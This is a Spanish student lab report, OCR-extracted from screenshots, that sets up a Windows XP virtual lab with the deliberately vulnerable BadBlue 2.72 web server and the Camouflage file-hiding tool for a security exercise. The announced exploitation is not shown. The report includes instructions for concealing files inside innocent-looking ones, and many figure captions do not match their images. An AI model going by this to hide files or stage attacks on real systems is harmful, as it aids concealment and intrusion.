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1 INTRODUCCION

La practica de camuflaje en Windows XP y explotacion con BadBlue se desarrollo con
el fin de comprender los mecanismos de ocultamiento de archivos y el uso de
vulnerabilidades dentro de un entorno controlado. A través del uso de maquinas virtuales en
VirtualBox, se configuré un entorno de pruebas donde se simul6 el ataque y la posterior
explotacion del servicio BadBlue, con el propdsito académico de analizar las
vulnerabilidades y aplicar medidas preventivas en redes seguras.
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2 ALCANCE

Esta practica se realizd en un entorno de laboratorio controlado utilizando sistemas
operativos antiguos como Windows XP y herramientas de auditoria en Kali Linux. El alcance
se limita a la observacion, ejecucion y documentacion del proceso de camuflaje y
explotacion, sin generar dafios reales a equipos o redes externas.
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3 OBJETIVO

4 OBJETIVO GENERAL

Aplicar técnicas de camuflaje en el sistema operativo Windows XP y ejecutar una
explotacién con BadBlue para analizar vulnerabilidades y fortalecer el conocimiento
practico en auditoria de redes.

5 OBEJTIVO ESPECIFICOS

» Configurar un entorno de practica seguro mediante VirtualBox.

» Simular el camuflaje de archivos y procesos en Windows XP.

» Realizar la explotacion del servicio BadBlue desde Kali Linux.

» Analizar los resultados obtenidos y proponer recomendaciones de seguridad.
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6 PRIMERO CAPITULO
6.1 CREACION DE LA CARPETA

Se cred una carpeta con el nombre "Clase 2 Oct 2025" en el directorio de descargas.

Clase 2 Oct
2025

Illustracion 1 Carpeta del computador

6.2 ARCHIVOS PARA TRANSFERIR

Se recopilaron los documentos y programas necesarios para trabajar en la maquina
virtual Windows XP, incluyendo el instalador de Adobe Reader 8, BadBlue-pe-2.72a, el
programa de camuflaje Camoul21, Internet Explorer 8 y VLC.

I Clase 2 Oct 2025 x +

<« T @] ] Descargas > Clase 2 Oct 2025

@ Nuevo ~ M Tl Ordenar ~

Nombre Fecha de modi ipc Tamafio

ﬁ Inicio

A Galeria

Hace mucho tiempo
EH internet-expl
Santiago - Personal
21311 KB
41.731 KB

EmETe * & badblue-pe-272a 7/11/2022 407 p.m. 704 KB

» Descargas # 8 Camout21 26/05/2022 9:25a.m. Aplicacién 2.655 KB

E Documentos ~ #

Ilustracion 2 Archivo del computador
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6.3 CONFIGURACION DE CARPETA COMPARTIDAS

Desde VirtualBox, se accedié al menu Dispositivos > Carpetas Compartidas
Dispositivos Ayuda

Unidades opticas
Audio

Red

USB

o %G ¥ O

Camaras web

Carpetas compartidas
Portapapeles compartido

Arrastrar y soltar

Insertar imagen de CD de los complementos del invitado...

-
|
B
’
’

Upgrade Guest Additions...

Illustracion 3 Configuracion de red de la VM Dispositivos

Se ingresa a la configuracion de la maquina virtual Windows XP para acceder
a la secciéon de Carpetas compartidas, paso necesario para habilitar la transferencia de
archivos desde el sistema operativo anfitrion.
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*

General Nombre Ruta Automontar
Carpetas globales

Sistema Carpetas de la maguina
Carpetas transitonas

Pantalla

Almacenamiento
Audio
Interfaz de usuario

Red

Puertos serie

~

Appearance Normal (ventana) ~
USB S -
Mini ToolBa Viostrar en pantalla completa/fluido

Carpetas compartidas () Mostraren la parte superior de la pantalla

Interfaz de usuario BOoREERIF//HONE €80

ERssGrvadon

Aceptar Cancelar Ayuda

Ilustracion 4 Configuracion de red de la VM carpetas compartidas
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Se afiade la ruta de la carpeta compartida (Clase 2 Oct 2025), se le asigna un nombre
y se activan las opciones de Automontar y Permanente para asegurar su accesibilidad
como unidad de red en la maquina virtual.

L

Oct 2025
Nombre de la carpeta
Mount Point
() Sélo lectura
® Automontar

Make Machine-permanent

) Make Global

Aceptar Cancelar

Illustracién 5 Configuracion de red de la VM

6.4 ACCESO A ARCHIVOS EN WINDOWS XP

Se verifica que la carpeta Clase 2 Oct 2025 haya sido agregada correctamente a la lista
de Carpetas de la maquina, confirmando que su estado es Completo y la configuracion es
correcta.
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General Nombre Ruta Acceso Automontar En
Carpetas globales
Sistema Carpetas de la maquina
Cla 25 C\Users\Sa...\Downloads\Clase 2 Oct 2025 Completo  Si
Pantalla Carpetas transitorias

Almacenamiento

Audio

Red Interfaz de usuario

Puertos serie

Appearance Normal {ventana) ~
USB
Mini ToolBar Mostrar en pantalla completa/fluido

Carpetas compartidas l l Mostrar en la parte superior de la pantalla

Interfaz de usuario B 0 H b E & .@ [‘_l. 4 99

ERssGradil

Aceptar Cancelar Ayuda

Ilustracion 6 Configuracion de red de la VM Carpetas compartidas

El Windows XP, se accede a "Mi PC". La carpeta compartida es visible como una
Unidad de red (Z:) con el nombre Clase 2 Oct 2025, lista para la transferencia de los
archivos de prueba.
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P miPcC
Archivo  Edicidn  Wer  Faworitos  Herramientas  Avuda
u Abrés .'\) L@ p Blisqueda H\?‘ Carpetas v

Direccion & i P

Archivos almacenados en este equipo

Tareas del sistema

Documentos de
wayner _ankonio_rnoyva_

a L2 q | e .
Wer informacion del sistema r Documentos compartidos

LY Agregar o quitar programas

E} Zambiar una configuracion

Unidades de disco duro

Otros sitios -~ .

-
W‘ Disco local {20
q Mis sitios de red

Mis documentos

[ Documentos compartidos Dispositivos con almacenamiento extraible
Bv Panel de contral
% WirkualBox Guest Additions (D)
Detalles
Mi PC Unidades de red
Carpeta del sistema
-

2 Clase_2_Oct_2025 en "WBowsyr"
(Z:

Illustracion 7 Instalacién y ventana principal de BadBlue en Windows XP Mi pc

Se abre la Unidad de red (Z:) para visualizar su contenido, que incluye los
instaladores de Adobe Reader 8.0, badblue-pe-2.72a, Camoul21 y otros archivos
requeridos para la practica.

% Clase_2_0ci_2025 en "VBoxSvr" (rH)

archivo  Edicibn  ver Favoritos  Herramientas  Ayuda
emra’s - \) @ pBﬂsquEda FCarpetas -
Dirzccién (58 iy

" [ - > internet-explorer-8-para-xp- .\
Tareas de archivo y carpeta B 5.0_AdbeRdran_en_US < > badblue-pe-2.72a Camoulzl Archivo,cab autoextralble vle-3.0018-win32
S Picrosoft Corporation

(2 Crear nueva carpeta _
€D Fublicar sta carpata en veb

Otros sitios

i MipC

[} Mis documentos

(23 Documentos compartidos
& Mis sitios de red

Detalles

Illustracion 8 Instalacion y ventana principal de BadBlue en Windows XP archivo
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Los archivos esenciales son copiados de la carpeta compartida al Escritorio de
Windows XP, simplificando el acceso y la ejecucion de los programas de instalacion.

— —

badblue-pe...

Camoulzl

Internet-expis

Illustracidn 9 Instalacidn y ventana principal de BadBlue en Windows XP Escritorio

7 INSTALACIONES DE UNAS APLICACIONES

7.1 INSTALACION DE SOFTWARE DE ADOBE READERS

Se inicia la instalacion de Adobe Reader 8. La imagen muestra la barra de progreso
mientras el instalador se inicializa y se extraen los componentes necesarios.



&

Universidad Tecnoldgica del Choco
Diego Luis Cordoba

18

-2 Adobe Reader B - Setup

Please wait while the &dobe Reader & Setup is being processed. This will take some time
depending on your operating system and hardware.

Processing Adobe Reader 5 ... 35.6 %

(EENEENENNENNENEE

Ilustracion 10 Acceso desde navegador al servicio BadBlue

7.2 CARPETA DE DESTINO

El asistente de Adobe Reader 8 solicita la carpeta de destino. Se acepta la ruta
predeterminada (C:\Archivos de programa...), continuando con la configuracion de la
instalacion
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i Adobe Reader B - Setup

Destination Folder
Click. Mext ko install ko this Falder, ar click Change ko inskall to a different Falder,

Install Adobe Reader & to;
Carchivos de programalsdobe\Reader 8,00

WARMNIMNG: This program is protected by copyright law and international treaties,

“hange Destination Faolder. .. Mexk = ] [ Cancel

Illustracion 11 Acceso desde navegador al servicio BadBlue

Luego, la ventana de confirmacion "Ready to Install the Program' del instalador
de Adobe Reader 8, lista para comenzar la copia de archivos y la instalacion final en el
sistema.
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i& Adobe Reader B - Setup

Ready to Install the Program

Click Install ko begin the installation,

If wou wank ko review or change any of your installation Folder, click Back, Click Cancel ko
exit setup,

< Back H Install ] [ Cancel

Illustracion 12 Acceso desde navegador al servicio BadBlue

Proceso de instalacion en curso de Adobe Reader 8, mostrando la barra de
progreso mientras el programa copia los archivos al directorio de destino.
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i® Adobe Reader B - Setup :||:|[$__<|

Installing Adobe Reader &

The program Features wou selected are being installed.

ﬁ Please wait while setup installs Adobe Reader 8. This may take several minukes,

Skaktus:

(NNRNNRNNANRNNRNNANRNNRNNANRANRNRNRANR )

Ilustracion 13 Acceso desde navegador al servicio BadBlue

Y la instalacion de Adobe Reader 8 contintia, mostrando el estado de la copia de un
archivo especifico (AGM.dIl) y el tiempo estimado restante para completar el proceso.
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i Adobe Reader B - Setup

Installing Adobe Reader 8

The program Features wou selecked are being installed,

ﬁ Please wait while setup installs Adobe Reader &, This may take several minutes,

Status: Copying new files I

File: AGM.dl Size; 4583456 bytes

(NNRANRNRRNRANR )

Estimated time remaining: 22 Sec.

Illustracion 14 Acceso desde navegador al servicio BadBlue

Después de eso de la instalacion de Adobe Reader 8 completada con éxito. Se
selecciona la opcidn de iniciar el programa inmediatamente al hacer clic en "Finish"
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i% Adobe Reader B - Setup

Setup Completed

Setup has successfully installed Adobe Reader &, Click Finish o exit setup,

Launch Adobe Reader &

Ilustracion 15 Acceso desde navegador al servicio BadBlue

Al abrir Adobe Reader 8, se presenta el Acuerdo de Licencia de Usuario Final
(EULA), el cual debe ser aceptado por el usuario para proceder al uso del software.
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*- Adobe Reader
File Edit Wew Document Tools ‘Window Help

Adobe Reader B

License Agreement

Press the Accept button to agree to the License Agreement and continue.

Please select a language For the License Agreement:

License Agreement:

ADOBE SYSTEMS INCORPORATED

ADOBE® B0FTWARE LICENZE AGREEMENT

NOTICE TO USER: PLEASE EEAD THIS CONTRACT CAREFULLY. BY UZING,
COPYING OFR DISTRIEUTING ALL OF ANY PORTION OF THE ADOBE ZOFTWARE
("SOFTWARE") YOU ACCEPT ALL THE TEEMS AND CONDITIONI OF THIS
AGREEMENT, INCLUDING, IN PARTICULAR THE LIMITATIONS ON: USE
CONTAINED IN SECTION 2; TRANSFERAERILITY IN 3ECTION 4, WARRANTY IN
BECTION 7, AND LIABILITY [N SECTION 8. YOU AGREE THAT THIS AGREEMENT I3
ENFORCEABLE LIKE ANY WEITTEN NEGOTIATED AGREEMENT SIGHED EY ¥OU.
THIE AGREEMENT I3 ENFORCEABLE AGAINST VOU AND ANY LEGAL ENTITY
THAT OBTAINED THE 30FTWARE AND ON WHOSE BEHALF IT I3 USED. IF ¥YOIT
DO NOT AGREE, DO NOT USE THIS BOFTWARE.

Adobe and its suppliers own all intellectual property in the Software. Adobe permits you
to Use the Software only in accordance with the terms of this Agreement. Use of some
third party materials included in the Software may be subject to other terms and conditions
typically found in a separate license agreement, a “Read Me™ file located near such
materials orin the “Third Party Software Notices andfor A dditional Terms and Conditions™

Illustracion 16 Acceso desde navegador al servicio BadBlue
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Una ventana de bienvenida de Adobe Reader aparece, indicando que no se pudo
establecer una conexion a Internet.
L* Beyond Adobe Reader E|i|@

BEYOND ADOBE READER

Beyond Adobe Reader could not establish an Internet connection.
Please try again.

ﬁ Click here to open Beyond Adobe Reader now!

Illustracion 17 Acceso desde navegador al servicio BadBlue

7.3 ICONOES DE ADOBE READER

Después que nos realizamos del proceso y al fina el icono en el escritorio que confirman
la correcta instalacion de Adobe Reader 8 mediante la aparicion de su acceso directo.
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adobe Reader

[
J.J'-._._

& e

ai0SAdbER

Illustracion 18 Acceso desde navegador al servicio BadBlue

8 INSTALACION Y CONFIGURACION DE BADBLUE
PERSONAL EDITION 2.72

8.1 INSTALACION DE BADBLUE

Se inicia el asistente de instalacion de BadBlue Personal Edition 2.72, el servidor web
que sera explotado en la prueba de seguridad.
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€ BadBlue Personal Edition 2.72 Setup

Welcome to the BadBlue Personal
Edition 2.72 Setup Wizard

This wizard will guide wou through the installation of BadBlue
Personal Edition 2.72.

It is recommended that vou close all other applications
before starting Setup. This will make it possible bo update
relevant system files without having to reboot wour
computer,

Click Mext ko continue,

Mext = l [ Cancel

Illustracidon 19 archivo camuflado en el Explorador de Windows
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Se elige la carpeta de destino por defecto (C:\Archivos de programa\BadBlue\PE)
para la instalacion del servidor BadBlue Personal Edition 2.72 y luego le da install

€ BadBlue Personal Edition 2.72 Setup M=
5 ﬁ E Choosze Inztall Location
i e Choose the folder in which to install BadBlue Personal Edition
SV PG ARinng 2 72,

Setup will inskall BadBlue Persanal Edition 2,72 in the Fallowing Falder. Toinstall in a different
folder, click Browse and select another Folder, Click Install to start the installation,

Deskination Falder

1 Archivos de programa’iBadBluetPE | Browse, .,

Space required: 1.4MEB
Space available: 18.2GE

< Back ” Install ] [ Cancel

Ilustracion 20 archivo camuflado en el Explorador de Windows
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€- BadBlue Personal Edition 2.72 Setup

5 ﬁ i Installing
e Please wait while BadBlue Personal Edition 2,72 is being installed.

SEFVING. POMNEING. ARMNGg

Create shortcut: CDocuments and Settingsiwayner_antonio_mowa_\EscritorioiBadBlue Pers:
[llllllllllllllllllllllllllllllllllllllllllllllllllll

Extract: 30init.php..,, 100%: e
Extract: SOtest.php... 100% B

Extract: SOuwor s .
Ny & BadBlue Personal Edition 2.72 Setup

Exkrack:

Exkrack: Butamatically skark wour weh site each time wau loging
Exkrack:

Extract: T ] [ Mo ]

Exkrack:

Create Folder: C e . T ————————— L0 | PO .

Create sharkouk: ChDocurents and Settingsivwavner_ankonio_mava_\Mend InicialPr. ..
Create sharkcuk: CDocuments and Settingsiwayner _anktonio_moya_\EscritorioiBad. ..

'

Fullsoft Install System w2, 06

< Back Mext = Zancel

Ilustracion 21 archivo camuflado en el Explorador de Windows

La instalaciéon de BadBlue Personal Edition 2.72 completada. Se elige ejecutar el
programa inmediatamente después de hacer clic en "Finish".
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&> BadBlue Personal Edition 2.72 Setup M=

Completing the BadBlue Personal
Edition 2.72 Setup Wizard

BadBlue Personal Edition 2,72 has been installed on wour
conmputer,

Click. Finish o close this wizard,

Run BadElue Personal Edition 2.72

Finish l [ Cancel

Ilustracion 22 archivo camuflado en el Explorador de Windows

8.2 ACUERDO DE LICENCIA

Al ejecutar BadBlue por primera vez, se solicita la lectura y aceptacion del Acuerdo
de Licencia e ingreso de la informacion de registro.
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License agreement f'5_<|

R egistration |nformation

Full name: ||

Email addrezs: |

End Uszer Licenze Agreement for BadBlue Saftware

"WORKING RESOURCES IMC. Fe
EMD USER LICENSE AGREEMENT
BADBLUE PERSOMAL EDITION

Software License Agreement far BadBlue Perzanal Edition

IMPORTANT- PLEASE READ CAREFULLY: BY INSTALLING THE SOFTWARE
[&5 DEFINED BELOW], COPYING THE SOFTWARE AND/OR CLICKIMG OMN
THE "ACCEPT" BUTTOM BELOW, ¥0OU [EITHER ON BEHALF OF ¥OURSELF
&5 AN INDIVIDUAL OR ON BEHALF OF AW ENTITY &5 ITS ALUTHORIZED
REPRESEMTATIVE) AGREE TO ALL OF THE TERMS OF THIS EMD USER

Agree | Dizagree

Illustracion 23 archivo camuflado en el Explorador de Windows

Se ingresa la informacion de registro (nombre y correo) en el Acuerdo de Licencia
de BadBlue y se selecciona "Agree'" (Aceptar) para continuar.
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License agreement

— R eqgistration Information

Full name: Isantiagu:u copete

Email address: Isantiagucnpete'l Bi@gmail. com

— End Uszer Licensze Agreement for BadBlue Saoftware

WORKING RESOURCES IMC. A |
EMD USER LICEMSE AGREEMEMNT =1 I

EADELUE PERSOMNAL EDITIOM

Software License Agreement for BadBlue Perzonal Edition

IMPORTAMNT- PLEASE READ CAREFULLY: BY INSTALLIMG THE SOFTWARE
(&5 DEFIMED BELOW), COPYING THE SOFT'WARE AMDAOR CLICKING ON
THE "ACCEPT" BUTTOM BELOW, ¥YOU (EITHER OW BEHALF OF YOURSELF
A5 AN INDIVIDUAL OR O BEHALF OF AN ENTITY AS ITS AUTHORIZED
REFPRESENTATIVE) AGREE TO ALL OF THE TERMS OF THIS EMD USER

Agree I Dizagree

Ilustracion 24 archivo camuflado en el Explorador de Windows

El BadBlue se inicia, mostrando su interfaz de servidor web en Internet Explorer y la
ventana de control, confirmando que esté activo y escuchando en el puerto 80.

Ty
Share your Excel 4
r

the web. Fast. ,
Easy. Guaranteed.
!

s i g e o
BadBlue
Enterprise Edition

Ilustracion 25 archivo camuflado en el Explorador de Windows
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Iconos en el escritorio de Windows XP que muestran el ejecutable de instalacion de
BadBlue y el acceso directo al programa instalado

<

badblue-pe-z. :
7 Per=o,,,

Ilustracion 26 archivo camuflado en el Explorador de Windows Escritorio

9 INSTALACION DEL SOFTWARE DE CAMUFLAJE
(CAMOUFLGE V1.2.1)

9.1 EXTRACCION DE CAMUFLAGE

Se ejecuta el archivo auto-extraible Camoul21.exe para descomprimir el instalador
del software de camuflaje, preparandolo para el Setup.exe.

WinZip Self-Extractor - Camou121.exe

To unzip all files in Camoul 27.exe ta the zpecified Unzip
folder prezs the Unzip button.

ik

Run Windip

IInzip to folder:

LA MER 1WCOMFIG ™1 4T em Browse... | Cloze

v Ovenwrite files withaut prampting Ahaut

¥ when done unzipping open: Setup.exe T
elp

fl

llustracion 27 archivo camuflado en el Explorador de Windows

El extractor de archivos confirma la descompresion exitosa de los 19 archivos de
instalacion contenidos en Camoul21.exe.
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WinZip Self-Extractor - Camou121.exe

To unzip all files in Camoul21.exe to the specified Urzip |
folder prezs the Unzip buttan.

Fun *%ingip

WinZip Self-Extractor, |X|

IInzip to folder:
WA MER TN

v Owenwrite fils
v when done

19 filels) unzipped successFully

Abot
RS
Help |

Ilustracion 28 archivo camuflado en el Explorador de Windows

9.2 INSTALACION DE CAMUFLAGE

Se inicia el asistente de instalacion de Camouflage v1.2.1, el programa que se utilizara
para ocultar archivos dentro de otros.

o — T

Camonflage

‘Welcome to the Camoulags Sehup pogam. This
rogyam vl matal Camesiage on yeus conpuber.

1 Svcegh ecommended tha v et al Wieekows progms
el runng tis Selup progiam

(Cick Cancel 10 g Senp and then close ary progams
Pavenrews vk s 1o crirum i s ok pogm

WARNING; Ths crogiam  potectd by cogatight e and
hemaons st

Unansbrrzed regsoccton o isrbution of i progrom, o ary.
PO ol 1.y st 1 sevese cil and cameal penes, and
b prcsmcuped 1o e samam eed passhe L

(= Corcet
> ]

Ilustracion 29 archivo camuflado en el Explorador de Windows
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Se acepta el Acuerdo de Licencia (EULA) de Camouflage para continuar con el
proceso de instalacion.

Softwarne License Agreement ﬁl

Fleaze read the following License Agreement. Press the PAGE DOWwWHM ke to zee
the rest of the agreement.

Camouflage iz Freeware. ou are encouraged to freely use and distribute it provided that
no filez are added or removed from the archive, and that all flez contained within the
archive are distributed together.

Al titles and copyrights in and to Camouflage are awned exclusively by Twisted Pear
Productionz. v'ou may not reverse engineer, decompile, dizazsemble or alter Camouflage
zoftware in any wab.

T o the maximum extent permitted by applicable law, in no event zhall the individual
author(z] or Twizted Pear Productions be liable for any special, incidental, indirect, or
conzequential damages whatzoever [including, without imitation, damages for loss of
buziness profitz, buziness interruption, losz of buzsiness informatian, or any other pecunian
loz2] arizing out af the uze of or inability to uge Camouflage or the provizion of or failure to
provide Support Services.

W

Do you accept all the termsz of the preceding License Agreement? IF pou chooge Mo, Setup
will cloge. Tainztall Camouflage, you must accept thiz agreement.

< Back Yes Ha

Ilustracion 30 archivo camuflado en el Explorador de Windows

Se elige la carpeta de destino predeterminada en Archivos de programa para la
instalacion del software Camouflage.
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Choose Destination Location

Setup will install Camouflage in the following folder.
Toinstall to this folder, click Hest.

Toinztall to a different folder, click Browse and zelect another
folder.

Y'ou can choose not ta install Camouflage by clicking Cancel to
exit Setup.

Destination Folder

C:WArchivos de programaCamouflage Browse...
¢ Back | Mext » | Cancel |

llustracion 31 archivo camuflado en el Explorador de Windows

Se selecciona la carpeta del menu de programas, con el nombre "Camouflage",
donde se creardn los accesos directos al programa instalado.
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Select Program Folder

Setup will add program icons to the Program Folder listed below,
Y'ou may type a new falder name, ar select ane from the exizting
Folders list. Click Mest to continue.

Frogram Folders:

Exizting Folders:

i)

Heramientas administrativas
Inicia

Juegos

¢ Back I M et > I Cancel

Ilustracion 32 archivo camuflado en el Explorador de Windows

Resumen de la configuracion seleccionada para Camouflage, lista para iniciar la
copia de archivos y finalizar la instalacion.
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Start Copying Files [E|

Setup has enough infarmation ta start copying the program files.
|f wour want ta review or change any settings, click Back. [f you
are satisfied with the settings, click Nest to begin copying files.

Curmrent Settings:

Destination Directany:
C:MArchivos de programasCamouflage

Program Folder:
Camoflage

< Back | et = | Caricel

S w—— =

Ilustracion 33 archivo camuflado en el Explorador de Windows

Instalacion de Camouflage completada. Se elige la opcion de ver el archivo Read
Me antes de cerrar el asistente
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Setup Complete

Setup has finizhed installing Camouflage on vour computer.

Setup can launch the Read Me file and Camouflage Sethings.
Chooze the options you want below.

[v “Yes, | want to view the Bead Me file now.

[ Yes. | want to change Camouflage's Settings now.

Click. Finizh bo complete Setup.

| Finizh |

Illustracion 34 archivo camuflado en el Explorador de Windows

Se visualiza el archivo Read Me de Camouflage, el cual explica el funcionamiento
del programa y el proceso para camuflar y des-camuflar archivos.
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Readme - Bloc de notas

archivo Edicion Formato Yer  Ayuda
Camouflage vi.2.1

These days comparries are given more power to monitor emails and to examine your personal Tiles. and with more and more malicious 'spy’ software being widely used, you need to
camouflage allows you to hide files by scrambling them and then attaching them to the file of your choice. This camouflaged File then Tooks and behaves Tike a normal file, and
For example, you could create a picture File that Tooks and bemaves exactly Tike amy other picture file but contains hidden encrypted Files, or you could hide a File inside a w
For additional security you can password your camouflaged file. This password will be required when extracting the files within.

vou can even camouflage files within camouflaged files.

camouflaging Files

after installing camouflage you will find two new menu options when right-clicking Files in windows Explorer; 'camouflage’ and 'uncamouflage' .
You can camouflage a File or several files at a time by highlighting them in windows Explorer, then clicking the right mouse burton and chossing ‘cCamouflage’ From the pop-up me

A 1ist of the files chasen is displayed in the Camouflage dialog.

You can view/edit the files by double-clicking them with the mouse, or by highlighting and right-clicking them, then choosing ‘cpen’ from the pop-up menu. selecting 'Propertie
Amyway, to continue click 'hext'.

In the_second screen choose a file to be used as camouflage. This can he any tﬁ/pa of file, but some files work better than others. For example, avoid choosing a text file bec
Camoutlage remanbers the Tast 10 Files used and you can reuse gne of then by selecting It fron the orop-down 11st.
Note that Camouf]age will simply use @ copy of the selected file. The original chosen file will nat be altered in amy way.

T,

once you have selected a file, click "nex

From the third screen choose the folder and filename of the camouflaged file that will be created. The default folder is the folder where you selected the files dn windows Exp

check 'Read-only' to create the camouflaged file with its 'Read-only” attribute set. This is recommended because it makes the file safer, and prevents other applications from
Click “Next'.

From the final screen you can type in a password iF you wish. This password will be required when extracting Files from your camouFlaged File. If you do mot wish to add a pas
Clicking 'Finish” will create the camouflaged file and then exit.

Uncamouflaging Files

To extract the files hidden within a camouflaged file, right-click it in Windows Explorer and chosse 'Uncamouflage’ from the pop-up menu.

A password prompt appears in the uncamouflage dialog. If this file was created with a password, type it in.
NoTe that Camouflage was designed so that it doesm'T reveal camouflaged files to the casual ohserver. For This reason the password screen is always displayed whether the file

< ]

=

Ilustracion 35 archivo camuflado en el Explorador de Windows

Se inicia el instalador de Windows Internet Explorer 8, pidiendo al usuario elegir
si desea ayudar a mejorar el navegador antes de continuar.
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/- Instalar Windows Internet Explorer 8

/ Windows Internet Explorer 8

C

Antes de empezar, se recomienda guardar los archivos y cerrar todos los programas.

Como Internet Explorer 8 actualizara archivos que posiblemente estén en uso, debe
reiniciar el equipo cuando finalice la instalacion. Esto garantiza que todos los archivos se
actualicen correctamente y que la instalacion se complete.

© Deseo ayudar a mejorar Internet Explorer
O Mo deseo participar en este momento
Obtener mas informacidn

[ Siguiente > ][ Cancelar

Ilustracion 36 archivo camuflado en el Explorador de Windows

Un mensaje de advertencia indica que el instalador no puede desinstalar la version
actual de Explorer 8 para instalar una nueva.

Instalar Windows Internet Explorer 8

El programa de instalacion no puede desinstalar |a version de Explorer & actualmente instalada en el equipo.

Para instalar una nueva versidn {una que adn no puede quitarse), haga dic en Aceptar. Para detener la instalacidn, haga clic en Cancelar,

Acepkar H Cancelar

llustracion 37 archivo camuflado en el Explorador de Windows

La ventana de licencia de Microsoft para Windows Internet Explorer 8, la cual debe
ser leida y aceptada para continuar la instalacion.
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/= Instalar Windows Internet Explorer B

Lea los terminos de la licencia.

TERMINOS COMPLEMENTARIOS DE LA LICENCIA DE
SOFTWARE DE MICROSOFT

MICROSOFT WINDOWS INTERNET EXPLORER 8 PARA
MICROSOFT WINDOWS XP, WINDOWS VISTA, WINDOWS
SERVER. 2003 ¥ WINDOWS SERVER 2008

Microsaft Corporation (o, en funcion del lugar en el que resida, una de sus filiales) le concede la
licencia para este complementao, Si obtiene |a licencia para utilizar el software Microsoft Windows
®P, Windows Yiska, \Windows Server 2003 o Windows Server 2008 (al que se aplica este
suplemento), en adelante el "Software”, podra utilizar este suplementa, Mo puede usarlo si no
disnnne dr lirenria nara &l safhware. PadeA nbilizar este comnlementn cron rada conia validarenke

= Yersidn para imprirnie [ Acepto ] [ Mo acepto

Ilustracion 38 archivo camuflado en el Explorador de Windows

Se elige instalar las dltimas actualizaciones para Windows, Internet Explorer y las
herramientas de seguridad.
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/= Instalar Windows Internet Explorer B

Obtener las ultimas actualizaciones

Instalar actualizaciones

Esto instalara actualizaciones para Windows, Internet Explarer ¥ la Herramienta de
eliminacidn de software malintencionado de Windows a fin de ayudarlo a proteger el
equipo contra amenazas de sequridad.

La Herramienta de eliminacion de software malintencionado de \Windows se
ejecutara durante la instalacion para detectar y quitar software malintencionado
conocida,

Ohtener mas informacion acerca de las
actualizaciones en linea

< Akras ] [ Siguiente = ] [ Zancelar

Ilustracion 39 archivo camuflado en el Explorador de Windows

Proceso de instalacion de Windows Internet Explorer 8 en curso, mostrando la
descarga de actualizaciones y la barra de progreso.
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/= Instalar Windows Internet Explorer 8

Instalando Windows Internet Explorer 8...

Descargando

[ L L Ll ]

Descargando actualizaciones de Windows Internet Explorer 8...

Ilustracion 40 archivo camuflado en el Explorador de Windows

10 REPRODUCTOR

inicia el instalador del reproductor multimedia VL.C y se selecciona el idioma espaiiol
para la interfaz de instalacion.
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Installer Language |_X |

A

Please select a language,

| Esparial

Ilustracion 41 archivo camuflado en el Explorador de Windows

Pantalla de bienvenida del Asistente de Instalacion de VLC media player, con la
recomendacion de cerrar aplicaciones antes de iniciar.

&~ Instalacién de VLC media player |:| |g|

Bienvenido al Asistente de
Instalacidn de VLC media player

Este programa inskalarad YLC media player en su ordenadar,

Se recomienda que cierre todas las deméas aplicaciones antes
de iniciar la instalacian, Esko hara posible actualizar archivos
relacionados con el sistema sin kener que reiniciar su
ordenador,

Presione Siguiente para conkinuar,

L Siguiente = J [ Cancelar

Ilustracion 42 archivo camuflado en el Explorador de Windows
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Se muestra el Acuerdo de Licencia (GNU General Public License) de VLC media
player, el cual debe ser revisado para continuar con la instalacion.

& Instalacion de VLC media player

Acuerdo de licencia

i,
Paor Favar revise los kérminos de |a licencia antes de instalar YLC media player, ,‘:ﬁ.
Presione Avanzar Pagina para ver el resto del acuerdo,
| GMU GEMERAL PUBLIC LICEMSE
Version 2, June 1991

8]

Copyright () 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boskon, Ma 02110-1301 USA

Everyone is permitted o copy and distribuke verbatim copies
af this license document, but changing it is not allowed.

Preamble

The licenses for most software are designed to kake away wour

Ahora conoce sus derechos, Pulse Siguiente para continuar.,

< fkrds ” Siguiente:—] [ Cancelar

Ilustracion 43 archivo camuflado en el Explorador de Windows
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Se selecciona el tipo de instalacion "Personalizada' y se ajustan los componentes a
instalar para VLC media player.

= Instalacién de VLC media player

Seleccion de componentes a
Seleccione qué caracteristicas de YLC media plaver desea inskalar, ;

Marque los componentes que desee inskalar ¥ desmarque los componentes que no desees
instalar. Presione Siguiente para conkinuar,

Tipos de instalacion: ersonalizada v |

0 sn_aleccinne los componentes Reproductor {necesario) =

;?_:;"E:izra.les gL dEsEE #eceso direcko en el mend Inicio 1 I
' Acceso directo en el Escritorio

= Complementos web
Complementa de Mozila
Complemento de Active

| ] - ] I- —
Descripoion

Espario requerido; 170,7 MB

< fkras ” Siguiente:bl [ Cancelar

Ilustracion 44 archivo camuflado en el Explorador de Windows

Se elige la ubicacion predeterminada para instalar VLC media player (C:\Archivos de
programa\VideoLAN\VLC).
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- 0X)

& Instalacidn de VLC media player

Eleqgir lugar de inztalacion "
Elija el directorio para instalar YLC media plaver. a

El programa de instalacion inskalara YLZ media playver en el siguiente directorio. Para instalar
en un directorio diferente, presione Examinar v seleccione otro direckorio, Presione Inskalar
para comenzar la instalacian,

Directario de Deskino

C:hArchivos de programa’ideol ARYYLC | Examinar. ..

Espacio requerido: 170.7 MB
Espacio disponible; 13.1 GB

< Atras ” Instalar ] [ Cancelar

Ilustracion 45 archivo camuflado en el Explorador de Windows

Proceso de instalacion de VLC media player en curso, mostrando la extraccion de
archivos DLL y otros componentes.
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& Instalacion de VLC media player

Instalando a
Par Favar espere mignkras YLC media playver se instala. ;

Extraer: libdvdnay_phagin.dll

[T |

< Bkras Siguiente = Cancelar

Ilustracion 46 archivo camuflado en el Explorador de Windows

Se abre el Reproductor multimedia VLC, confirmando que el programa ha sido
instalado correctamente y esta listo para usarse.



£ Reproductor multimedia VLC

Medio Reproduccion Audio VYideo Subtitulo Herramientas Ver Ayuda

o) I @ GIEK

llustracion 47 archivo camuflado en el Explorador de Windows

11 CREAR UNOS ARCHIVOS CAMUFLAJE Y TAMANOS
11.1 WINDOWS

Se verifica el Menu Inicio de Windows XP, donde se puede ver el acceso directo a
BadBlue Personal Edition.
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wayner_antonig

Correo electronico
Cutlook Express

i Internek
Internet Explorer
5l

Simbaolo del siskema

M3k

@ Reproductor de Windows

Media

l@ Paszen por Windows xP

- Asiskente para transferencia
% de archivos v configuracio,.

3 BadBlue Personal Edition

Todos los programas Q

Illustracion 48 Evidencias y logs

Se muestra la pequefia ventana de control de BadBlue en el escritorio, indicando que
el servicio esta activo y configurado para usar el puerto 80.
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—~

€ BadBlue =] 4

Use port: |80 ﬂ

Hide when minimized v

Start I | Exit... I

Ilustracion 49 Evidencias y logs

